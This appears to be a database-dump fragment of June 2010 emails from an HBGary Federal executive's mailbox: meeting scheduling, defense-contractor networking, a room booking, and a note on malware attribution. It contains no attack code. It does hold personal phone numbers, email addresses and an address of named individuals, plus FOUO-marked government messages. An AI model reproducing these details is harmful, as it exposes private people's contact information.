[mailto:aaron@hbgary.com]\r\n>> Sent: Tuesday, June 22, 2010 9:05 PM\r\n>> To: Strang, Larry (TASC)\r\n>> Subject: Re: Discussion on cyber\r\n>>\r\n>> OK.  I have a meeting at 11:00 at FANX.  Can we meet earlier in the\r\n>> morning or 2pm or later?\r\n>>\r\n>> Aaron\r\n>>\r\n>> On Jun 22, 2010, at 6:54 AM, Strang, Larry (TASC) wrote:\r\n>>\r\n>>> Am in the Navy symposium in HCC all day today.  Looks like Thursday\r\n>> for\r\n>>> right now.\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Monday, June 21, 2010 6:39 PM\r\n>>> To: Strang, Larry (TASC)\r\n>>> Subject: Re: Discussion on cyber\r\n>>>\r\n>>> Sure.  I can do thursday, unless you can do tomorrow morning?  I am\r\n>>> in\r\n>>> MD all tomorrow.\r\n>>>\r\n>>> Your call.\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>> Sent from my iPad\r\n>>>\r\n>>> On Jun 21, 2010, at 5:57 PM, \"Strang, Larry (TASC)\"\r\n>>>  wrote:\r\n>>>\r\n>>>> Whoops, life at the speed of cyber just struck; am now headed to\r\n>>>> one\r\n>>> of\r\n>>>> the local colleges Wed afternoon to work on a cyber curriculum so\r\n>>>> we\r\n>>>> will have to look at another time. Your next best opportunity?\r\n>>>>\r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>> Sent: Monday, June 21, 2010 5:33 PM\r\n>>>> To: Strang, Larry (TASC)\r\n>>>> Subject: Re: Discussion on cyber\r\n>>>>\r\n>>>> We\'d afternoon would be great if you have the time then.\r\n>>>>\r\n>>>> Aaron\r\n>>>>\r\n>>>> Sent from my iPad\r\n>>>>\r\n>>>> On Jun 21, 2010, at 4:45 PM, \"Strang, Larry (TASC)\"\r\n>>>>  wrote:\r\n>>>>\r\n>>>>> I sit in AJ but also spend a day or two a week in Chantilly.\r\n>> Thursday\r\n>>>> I\r\n>>>>> am in AJ but I can carve some time out of Wed when I will be in\r\n>>>>> Chantilly in the afternoon.  Thoughts\r\n>>>>>\r\n>>>>> -----Original Message-----\r\n>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>> Sent: Monday, June 21, 2010 10:41 AM\r\n>>>>> To: Strang, Larry (TASC)\r\n>>>>> Subject: Re: Discussion on cyber\r\n>>>>>\r\n>>>>> Ha.  I like the three bears comment!  And I can see it would be a\r\n>>> much\r\n>>>>> better fit, not so big, mission not so spread out.  You can focus\r\n>> you\r\n>>>>> energies to help them develop a cyber strategy within a much more\r\n>>>>> defined context.  Still any cyber strategy effort today is not\r\n>>> without\r\n>>>>> its challenges, the government just is not getting its act\r\n>>>>> together.\r\n>>>>>\r\n>>>>> Thanks.  Like you this feels just right.  I am having a blast, the\r\n>>>>> anxiety and exhilaration of trying to build a business is an\r\n>>>> invaluable\r\n>>>>> experience for me.  I am not happy with the manner in which I\r\n>>>>> left,\r\n>>>> but\r\n>>>>> alls well that ends well and I have maintained good relationships\r\n>>> with\r\n>>>>> just about all of my previous close coworkers.  I sit in\r\n>>>> Tysons/Mclean.\r\n>>>>> We don\'t have a DC office yet, main offices in Sacramento and\r\n>>> Colorado\r\n>>>>> Springs.  So I do meetings/home/coffeeshop/rentaoffice in that\r\n>> order.\r\n>>>>> This week I have Thursday open and am pretty open next week.  I\r\n>>>>> will\r\n>>>> be\r\n>>>>> in Chantilly on Wednesday working on a proposal with Al\'s group, I\r\n>> am\r\n>>>>> not sure where you sit.  Let me know when you have some\r\n>> availability.\r\n>>>>>\r\n>>>>> Aaron\r\n>>>>>\r\n>>>>> On Jun 21, 2010, at 10:31 AM, Strang, Larry (TASC) wrote:\r\n>>>>>\r\n>>>>>> Hey Aaron,\r\n>>>>>>\r\n>>>>>> Great to hear from you; how are things at HBGary?  Thanks for the\r\n>>>>>> tentative congratulations but I will tell you I am pleased to be\r\n>>>> here.\r\n>>>>>> Northrop is a great company, just way too big, and like the three\r\n>>>>> bears\r\n>>>>>> said, this one is JUST right.  Or at least it is so far.  And\r\n>>>>>> many\r\n>>> of\r\n>>>>>> your friends here still remember you well.  I think I saw where\r\n>> your\r\n>>>>>> duty title was the CEO and so I am duly impressed.\r\n>>>>>> Congratulations\r\n>>>>>> yourself.  Where do you actually sit?  When would you like to get\r\n>>>>>> together?  Let me know and we\'ll make it happen,\r\n>>>>>>\r\n>>>>>>   Larry\r\n>>>>>>\r\n>>>>>> -----Original Message-----\r\n>>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>>> Sent: Wednesday, June 16, 2010 9:55 AM\r\n>>>>>> To: Strang, Larry (TASC)\r\n>>>>>> Subject: Discussion on cyber\r\n>>>>>>\r\n>>>>>> Hi Larry,\r\n>>>>>>\r\n>>>>>> Congratulations... I think. ;)\r\n>>>>>>\r\n>>>>>> Attached is our datasheet for information security services.  I\r\n>>> would\r\n>>>>>> like to get together at your convenience to talk cyber.  I had a\r\n>>>> brief\r\n>>>>>> meeting with Wood last week and mentioned to him, if\r\n>>>>>> interested, i\r\n>>>>> would\r\n>>>>>> like to work together.  TASC is a second home for me and contains\r\n>>>> many\r\n>>>>>> friends.\r\n>>>>>>\r\n>>>>>> Aaron\r\n>>>>>\r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n',3126,'aaron_hbgary_com/3126.html'),(7677,'2010-06-23','\"Matthew Steckman\" <msteckman@palantir.com>','/aaron@hbgary.com/new/1297005937.M384392P14101Q2532.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: NICE PRESS!','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNice! Pong challenge eh?&nbsp; Next Friday probably wont work for me,\r\nbut the Friday afterwards he&#8217;s going down.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantir.com | 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, June 23, 2010 9:37 AM\r\nTo: Matthew Steckman\r\nCc: Trae Stephens\r\nSubject: Re: NICE PRESS!\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThanks. &nbsp;Yes he is.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHe previewed this talk at the NSA REBL conference last week.\r\n&nbsp;I gave a talk on Social Networking, Exploitation, and Persistent Internet\r\nOperations. &nbsp;I was just told this morning that our two talks received the\r\nstrongest positive feedback of all the talks. &nbsp;Attached is my slides for\r\nthat presentation. &nbsp;I am talking with 1st IO, NSA IA, and OSD this week\r\nabout New Media and the vulnerabilities it creates for organizations.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe are developing a curriculum to offer organizations on New\r\nMedia. &nbsp;We are also going to start working on a new media mapping\r\ncapability leveraging Fidelis XPS and HBGary Active Defense. &nbsp;Things are\r\njust too slow going because I don\'t have the work yet to hire enough people for\r\nwhat I want to do but we will get there. &nbsp;New Media is the new and future\r\nexploitation vehicle and I hope to ride the front of that wave (on both\r\nsides).&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHey how about a Pong challenge next Friday. &nbsp;I will\r\nmake sure Bob is there.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12326,'aaron_hbgary_com/12326.html'),(7678,'2010-06-23','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297005937.M718780P14101Q2533.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Invitation: SecDev Discussions @ Wed Jun 23 1pm - 2pm (Arnav  Manchanda)','Great see you there.&nbsp;Arnav Manchanda(613) 806-4081On 2010-06-23, at 7:36 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote: more details »SecDev DiscussionsWhenWed Jun 23 1pm – 2pm Eastern TimeWhere2010 Corporate Ridge Suite # 700 McLean, Virginia 22102 United States  (map)CalendarArnav ManchandaWho•Aaron Barr - organizer•Arnav ManchandaGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options »Invitation from Google CalendarYou are receiving this courtesy email at the account a.manchanda@secdev.ca because you are an attendee of this event.To stop receiving future notifications for this event, decline this event. Alternatively you can sign up for a Google account at https://www.google.com/calendar/ and control your notification settings for your entire calendar.&lt;invite.ics&gt;',102,'aaron_hbgary_com/102.html'),(7679,'2010-06-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005937.M938719P14101Q2534.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Vendor Procurement Search Results','Begin forwarded message:From: noreply@fbo.gov\r\nDate: June 23, 2010 4:28:17 AM EDTTo: ted@hbgary.comSubject: Vendor Procurement Search Results\r\nWednesday, June 23, 2010, 04:22 amDear Ted:Your FBO Opportunity Search Agent called: &#39;Cyber&#39; has identified the following opportunities that have either been newly posted or modified and match your search criteria.\r\n    Title:                 Freedom of Information Act Support    Sol. #:                RTB220610    Agency:                Department of the Air Force    Office:                Air Mobility Command\r\n    Location:              6th Contracting Squadron    Posted On:             Jun 22, 2010 2:07 pm    Current Type:          Sources Sought (Modified)    Base Type:             Sources Sought\r\n    Base Posting Date:     Jun 22, 2010 1:42 pm    Link:                  https://www.fbo.gov/spg/USAF/AMC/6CS/RTB220610/listing.html\r\n    -------------------------------------------------------\r\n',14861,'aaron_hbgary_com/14861.html'),(7680,'2010-06-23','\"HQ Meeting Room Reservations\" <Brandon.Jamison@regus.com>','/aaron@hbgary.com/new/1297005938.M171917P14101Q2535.eml','aaron@hbgary.com','HQ Meeting Room Confirmed Booking 10644965','\r\n			.Wrapper {width:600px;padding:3px;font-family:Tahoma;font-size:10pt}\r\n			.Heading {width:100%;background-color:#E0E0E0;color:#000000;font-weight:bold;padding:3px}\r\n			.Held {font-weight: bold;text-align:center}\r\n			.InvoiceFooter {font-weight: bold;text-align:center}\r\n\r\n			TABLE {border-collapse:collapse; font-size:10pt}\r\n			TABLE TD, TABLE TH {font-size:10pt}\r\n			TABLE TD {font-weight:normal}\r\n			TABLE TH {font-weight:bold;text-align:left}\r\n\r\n			TH, TD {padding:1px}\r\n			.TblD TD {width: 160px}\r\n\r\n			.TblS {width:98%}\r\n			.TblS TH {font-weight:bold}\r\n			.TblS TR.Hdr TD, .TblS TR.TTl TD {white-space:nowrap;font-weight:bold}\r\n			.TblS TD {font-weight:normal;vertical-align:top}\r\n			.TblS TR.GT TH {font-size: 120%}\r\n			.TblS TD, .TblS.TH {border:1px solid #C0C0C0;padding:3px}\r\n			.TblS TR.TTl TD {border-width:1px 0px 0px 0px}\r\n			ul {list-style-image:none;margin:0px}\r\n			ul li {font-size:8pt;list-style-image:disc;margin-left:32px}\r\n			ul li.Hdr {list-style-image:none;margin:0px}\r\n\r\n			div.RS , div.RE {border-color:#C0C0C0;border-style:solid;width:100%;height:3px;font-size:1px;margin:6px 0px 6px 0px}\r\n			div.RS {border-width: 1px 1px 0px 1px}\r\n			div.RE {border-width: 0px 1px 1px 1px}\r\n\r\n			div.Indent{padding: 0px 6px 0px 6px}\r\n\r\n			.Notes {font-size:8pt;font-style:italic;}\r\n		Thank you for confirming your booking with HQ. We are delighted to have the opportunity to help. Please find below your booking details.Confirmed Booking SummaryREFERENCE:\r\n				10644965Center:\r\n				VA, McLean - Corporate Ridge (HQ)Client:\r\n				HB GaryMeeting Room Details Start Date:\r\n						Wednesday, June 23, 2010Start Time:\r\n						1:00 PMEnd Date:\r\n						Wednesday, June 23, 2010End Time:\r\n						3:00 PMDelegates:\r\n						1Room Layout:\r\n							BoardroomWe are pleased to provide further information on the following services as requested:\r\n					QtyServiceRatePrice1Meeting Room (Room Rate)Includes 10% Discount$88.20$88.20TOTAL$88.20 Due to limited availability, and as a courtesy to other customers, we ask that you notify us if you no longer require the booking on the requested dates.* Please Note - prices do not include local tax. The price quoted excludes any prepayment.Please use the following details to contact us:\r\n		Booker:\r\n					Brandon JamisonPhone:\r\n				001 877-734-8787Email:\r\n				americas.reservations@regus.comFax:\r\n				001 214-295-3171HQ Location DetailsCenter:\r\n				VA, McLean - Corporate Ridge (HQ)Address:\r\n				2010 Corporate RidgeMcLeanVirginia22102United States of AmericaClick here for a mapPhone703 749 7700Fax703 749 7719EmailMcLean.ExecutivePlaza@regus.comYour Company DetailsClient:\r\n				HB GaryContact Name:\r\n				 Aaron BarrContact Tel:\r\n				719-510-8478Contact Email:\r\n				aaron@hbgary.comAddress:\r\n				3941 Park Dr #20-305EDH95762United States of AmericaYou have selected to pay by Payment Card.Disclaimer: Meeting room bookings which overrun or have delegates added at the point of Check In will have all additional charges calculated at the clients standard hourly rate.Thank you for contacting HQ. We look forward to welcoming you soon.The information in this email is confidential and may also be privileged. If you are not the intended recipient please notify us immediately.Please review the terms and conditions for HQ Global Workplaces, LLC ',8980,'aaron_hbgary_com/8980.html'),(7681,'2010-06-23','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297005938.M393867P14101Q2536.eml','\"Aaron Barr\" <aaron@hbgary.com>,joe@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>','Need your MAC # on the back of your phone','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Guys,\r\n\r\n&nbsp;\r\n\r\nCan I get the MAC # on the back of your phone.&nbsp; You can\r\nfind it on the back of your phone on the white label.&nbsp; The numbers start\r\nwith 0004.&nbsp; I will need this number today before 10:30 if possible.&nbsp;\r\nWe are having some phone problems and I have a phone meeting with our &nbsp;phone\r\nprovider at 11:00 today.\r\n\r\n&nbsp;\r\n\r\nThanks \r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13707,'aaron_hbgary_com/13707.html'),(7682,'2010-06-23','\"Leibner, Lincoln D LTC MIL US USA DCS G-3/5/7\" <lincoln.leibner@us.army.mil>','/aaron@hbgary.com/new/1297005938.M615756P14101Q2537.eml','\"Lachow, Irving\" <LachowI@ndu.edu>,\"Aaron Barr\" <aaron@hbgary.com>','RE: NSA REBL Presentation (UNCLASSIFIED)','Classification: UNCLASSIFIED\r\nCaveats: FOUO\r\n\r\nThink we need to talk soon regarding this possibility (secure). I am not sure where you are heading with TAO. \r\n\r\nLieutenant Colonel Lincoln Leibner\r\nUnited States Army\r\nOperations and Technology Office\r\n703-697-7131 \r\n\r\n\r\n-----Original Message-----\r\nFrom: Lachow, Irving [mailto:LachowI@ndu.edu] \r\nSent: Wednesday, June 23, 2010 07:17\r\nTo: Aaron Barr\r\nCc: Leibner, Lincoln D LTC MIL US USA DCS G-3/5/7\r\nSubject: RE: NSA REBL Presentation\r\n\r\nThanks Aaron.  I will take a look.  Lincoln, I am hoping to meet with the TAO TD sometime soon, so I can introduce this idea to them as well if you don\'t mind.  \r\n\r\nHope you\'re both doing well.\r\nCheers,\r\nIrv\r\n\r\np.s.  Aaron, please me at both NDU and OSD email addresses.  It\'s a pain, but necessary for the moment.  Thanks.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Tuesday, June 22, 2010 11:51 PM\r\nTo: Lachow, Irving\r\nCc: lincoln.leibner@us.army.mil\r\nSubject: NSA REBL Presentation\r\n\r\nIrv,\r\n\r\nAttached is a copy of my presentation at the NSA REBL conference last week.  It generating a lot of interest.  I think I am missing this in my business model so I am adding it.  We are starting to develop a curriculum for new media, what organizations need to understand, where the technology is going, how to better protect themselves.  There are some opportunities to develop capabilities based on our existing partnerships to do better social network monitoring and protection.\r\n\r\nThis is an area that plays very well with our other side of New Media we discussed.\r\n\r\nLincoln, you had mentioned TAO in our previous conversation.  Is there a connection you could make for me there?  Is there anything else related to this area that would be worth discussing for you?\r\n\r\nClassification: UNCLASSIFIED\r\nCaveats: FOUO\r\n\r\n\r\n',6601,'aaron_hbgary_com/6601.html'),(7683,'2010-06-23','\"Lachow, Irving\" <LachowI@ndu.edu>','/aaron@hbgary.com/new/1297005938.M873919P14101Q2538.eml','lincoln.leibner@us.army.mil,aaron@hbgary.com','Re: NSA REBL Presentation (UNCLASSIFIED)','\r\n\r\n\r\n\r\n\r\nRe: NSA REBL Presentation (UNCLASSIFIED)\r\n\r\n\r\n\r\n\r\nHappy to talk. I have no plan re: TAO. I will hopefully meet them soon and see if we can work together.\r\n_____________________\r\n&nbsp;&nbsp;&nbsp; Sent from my Blackberry.\r\n\r\n----- Original Message -----\r\nFrom: Leibner, Lincoln D LTC MIL US USA DCS G-3/5/7 &lt;lincoln.leibner@us.army.mil&gt;\r\nTo: Lachow, Irving; Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSent: Wed Jun 23 12:37:40 2010\r\nSubject: RE: NSA REBL Presentation (UNCLASSIFIED)\r\n\r\nClassification: UNCLASSIFIED\r\nCaveats: FOUO\r\n\r\nThink we need to talk soon regarding this possibility (secure). I am not sure where you are heading with TAO.\r\n\r\nLieutenant Colonel Lincoln Leibner\r\nUnited States Army\r\nOperations and Technology Office\r\n703-697-7131\r\n\r\n\r\n-----Original Message-----\r\nFrom: Lachow, Irving [mailto:LachowI@ndu.edu]\r\nSent: Wednesday, June 23, 2010 07:17\r\nTo: Aaron Barr\r\nCc: Leibner, Lincoln D LTC MIL US USA DCS G-3/5/7\r\nSubject: RE: NSA REBL Presentation\r\n\r\nThanks Aaron.&nbsp; I will take a look.&nbsp; Lincoln, I am hoping to meet with the TAO TD sometime soon, so I can introduce this idea to them as well if you don\'t mind.&nbsp;\r\n\r\nHope you\'re both doing well.\r\nCheers,\r\nIrv\r\n\r\np.s.&nbsp; Aaron, please me at both NDU and OSD email addresses.&nbsp; It\'s a pain, but necessary for the moment.&nbsp; Thanks.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Tuesday, June 22, 2010 11:51 PM\r\nTo: Lachow, Irving\r\nCc: lincoln.leibner@us.army.mil\r\nSubject: NSA REBL Presentation\r\n\r\nIrv,\r\n\r\nAttached is a copy of my presentation at the NSA REBL conference last week.&nbsp; It generating a lot of interest.&nbsp; I think I am missing this in my business model so I am adding it.&nbsp; We are starting to develop a curriculum for new media, what organizations need to understand, where the technology is going, how to better protect themselves.&nbsp; There are some opportunities to develop capabilities based on our existing partnerships to do better social network monitoring and protection.\r\n\r\nThis is an area that plays very well with our other side of New Media we discussed.\r\n\r\nLincoln, you had mentioned TAO in our previous conversation.&nbsp; Is there a connection you could make for me there?&nbsp; Is there anything else related to this area that would be worth discussing for you?\r\n\r\nClassification: UNCLASSIFIED\r\nCaveats: FOUO\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12298,'aaron_hbgary_com/12298.html'),(7684,'2010-06-23','\"Wallisch, Philip\" <Philip.Wallisch@morganstanley.com>','/aaron@hbgary.com/new/1297005939.M142462P14101Q2539.eml','greg@hbgary.com,greg@hbgary.com','FW: \"APT and Botnets\" (draft #2)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\nI agree that all malware is dangerous.&nbsp; What this means for\r\nHBGary is that we can never operate in a vacuum.&nbsp; DDNA will not say “this is\r\nAPT”.&nbsp; DDNA will highlight an anomalous artifact in memory.&nbsp; The overall\r\ninvestigation will determine the context which the malware was used.&nbsp; Did they\r\nbuy a ZeuS kit and use it to exfil source code?&nbsp; Yeah we found ZeuS and the\r\nlead investigator will say it’s APT b/c the same IP was used by the attacker’s\r\ncustom malware.\r\n\r\n&nbsp;\r\n\r\nAgain…read this:&nbsp; http://blogs.sans.org/computer-forensics/2010/06/21/security-intelligence-knowing-enemy/\r\n\r\n&nbsp;\r\n\r\nIt should be our bible and our blueprint for attacking this\r\nproblem.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Phil Wallisch\r\n[mailto:phil@hbgary.com] \r\nSent: Wednesday, June 23, 2010 12:53 PM\r\nTo: Wallisch, Philip (IT)\r\nSubject: Fwd: &quot;APT and Botnets&quot; (draft #2)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Greg Hoglund &lt;greg@hbgary.com&gt;\r\nDate: June 21, 2010 12:34:12 PM EDT\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nCc: Phil Wallisch &lt;phil@hbgary.com&gt;,\r\nMike Spohn &lt;mike@hbgary.com&gt;, Shawn\r\nBracken &lt;shawn@hbgary.com&gt;, Rich\r\nCummings &lt;rich@hbgary.com&gt;, Karen\r\nBurke &lt;karenmaryburke@yahoo.com&gt;,\r\n&quot;Penny C. Hoglund&quot; &lt;penny@hbgary.com&gt;\r\nSubject: &quot;APT and Botnets&quot; (draft #2)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI&nbsp;have incorporated your&nbsp;writing into several\r\nsections of the article, and re-organized the article as well.&nbsp; Also, per\r\nKaren, I have removed the references and worked them directly into the\r\nprose.&nbsp; If any of you have time, please review.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks!\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNOTICE: If received in error, please destroy, and notify sender. Sender does not intend to waive confidentiality or privilege. Use of this email is prohibited when received in error.&nbsp;We may monitor and store emails to the extent permitted by applicable law.\r\n\r\n',995,'aaron_hbgary_com/995.html'),(7685,'2010-06-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005939.M459043P14101Q2540.eml','\"Lachow, Irving\" <LachowI@ndu.edu>,\"Lachow, Irving\" <LachowI@ndu.edu>','Re: NSA REBL Presentation (UNCLASSIFIED)','Same here.  Happy to talk.  Interested to get your perspective on new media.  I believe this is a significant vulnerability that is not being addressed.  Goes back to the conversation we were having but it being done to us.\r\nAaronSent from my iPadOn Jun 23, 2010, at 1:53 PM, &quot;Lachow, Irving&quot; &lt;LachowI@ndu.edu&gt; wrote:\r\n\r\n\r\n\r\n\r\nHappy to talk. I have no plan re: TAO. I will hopefully meet them soon and see if we can work together.\r\n_____________________\r\n    Sent from my Blackberry.\r\n\r\n----- Original Message -----\r\nFrom: Leibner, Lincoln D LTC MIL US USA DCS G-3/5/7 &lt;lincoln.leibner@us.army.mil&gt;\r\nTo: Lachow, Irving; Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSent: Wed Jun 23 12:37:40 2010\r\nSubject: RE: NSA REBL Presentation (UNCLASSIFIED)\r\n\r\nClassification: UNCLASSIFIED\r\nCaveats: FOUO\r\n\r\nThink we need to talk soon regarding this possibility (secure). I am not sure where you are heading with TAO.\r\n\r\nLieutenant Colonel Lincoln Leibner\r\nUnited States Army\r\nOperations and Technology Office\r\n703-697-7131\r\n\r\n\r\n-----Original Message-----\r\nFrom: Lachow, Irving [mailto:LachowI@ndu.edu]\r\nSent: Wednesday, June 23, 2010 07:17\r\nTo: Aaron Barr\r\nCc: Leibner, Lincoln D LTC MIL US USA DCS G-3/5/7\r\nSubject: RE: NSA REBL Presentation\r\n\r\nThanks Aaron.  I will take a look.  Lincoln, I am hoping to meet with the TAO TD sometime soon, so I can introduce this idea to them as well if you don&#39;t mind. \r\n\r\nHope you&#39;re both doing well.\r\nCheers,\r\nIrv\r\n\r\np.s.  Aaron, please me at both NDU and OSD email addresses.  It&#39;s a pain, but necessary for the moment.  Thanks.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Tuesday, June 22, 2010 11:51 PM\r\nTo: Lachow, Irving\r\nCc: lincoln.leibner@us.army.mil\r\nSubject: NSA REBL Presentation\r\n\r\nIrv,\r\n\r\nAttached is a copy of my presentation at the NSA REBL conference last week.  It generating a lot of interest.  I think I am missing this in my business model so I am adding it.  We are starting to develop a curriculum for new media, what organizations need to understand, where the technology is going, how to better protect themselves.  There are some opportunities to develop capabilities based on our existing partnerships to do better social network monitoring and protection.\r\n\r\n\r\nThis is an area that plays very well with our other side of New Media we discussed.\r\n\r\nLincoln, you had mentioned TAO in our previous conversation.  Is there a connection you could make for me there?  Is there anything else related to this area that would be worth discussing for you?\r\n\r\nClassification: UNCLASSIFIED\r\nCaveats: FOUO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7603,'aaron_hbgary_com/7603.html'),(7686,'2010-06-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005939.M737538P14101Q2541.eml','\"Scott Suhy\" <Scott.Suhy@PointAbout.com>','Meeting','Hi Scott,\r\n\r\nDo you have some time to meet with the Prime next week for the opportunity I was discussing.  The meeting would be in Chantilly.  We would like to bring PointAbout on the team.  As I mentioned its a $35-60M multi-year new media development effort.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5400,'aaron_hbgary_com/5400.html'),(7687,'2010-06-23','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297005940.M262109P14101Q2543.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: HBGary Contract Discussion @ Wed Jun 23 3pm - 4pm 	(aaron@hbgary.com)',' more details &raquo;HBGary Contract DiscussionWhen: Wednesday, June 23, 2010 3:00 PM-4:00 PM. Eastern Standard Time*~*~*~*~*~*~*~*~*~*Engame will call AaronWhenWed Jun 23 3pm – 4pm Eastern TimeCalendaraaron@hbgary.comWho&#x2022;dgerulski@endgames.us - organizer&#x2022;aaron@hbgary.com&#x2022;dsi@endgames.usGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',2035,'aaron_hbgary_com/2035.html'),(7688,'2010-06-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005940.M39136P14101Q2542.eml','aaron@hbgary.com','Alarm - HBGary Contract Discussion','June 23, 2010 3:00 PM : HBGary Contract DiscussionWhen: Wednesday, June 23, 2010 3:00 PM-4:00 PM. Eastern Standard Time*~*~*~*~*~*~*~*~*~*Engame will call Aaron ',8779,'aaron_hbgary_com/8779.html'),(7689,'2010-06-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005940.M480851P14101Q2544.eml','\"David Gerulski\" <dgerulski@endgames.us>','Re: HBGary Contract Discussion','Try my cell 7195108478.\r\n\r\n From my iPhone\r\n\r\nOn Jun 22, 2010, at 3:35 PM, David Gerulski \r\nwrote:\r\n\r\n> \r\n',15428,'aaron_hbgary_com/15428.html'),(7690,'2010-06-23','\"Daniel Ingevaldson\" <dsi@endgames.us>','/aaron@hbgary.com/new/1297005940.M716253P14101Q2545.eml','\"Aaron Barr\" <aaron@hbgary.com>','call','Aaron, what phone number should we use to reach you?\r\n\r\n-d\r\n\r\n---------------------------------\r\nDaniel S. Ingevaldson, COO\r\nEndgame Systems, LLC\r\ndsi@endgames.us\r\n(w)404-781-2955\r\n(f)404-781-2951\r\n(m)404-992-9449\r\n\r\n',4787,'aaron_hbgary_com/4787.html'),(7691,'2010-06-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005942.M415062P14101Q2546.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: EGS Traveling License Quote - w/attachment','\r\n\r\nBegin forwarded message:\r\n\r\n> From: David Gerulski \r\n> Date: June 18, 2010 5:40:46 PM EDT\r\n> To: \"aaron@hbgary.com\" \r\n> Subject: EGS Traveling License Quote - w/attachment\r\n> \r\n> Aaron,\r\n> \r\n> Attached please find Endgame\'s traveling license quote for HBGary. However, the SLA is not attached. It will be available in a couple of days. \r\n> \r\n> Hope you have an enjoyable weekend. Look forward to talking with you early next week.\r\n> 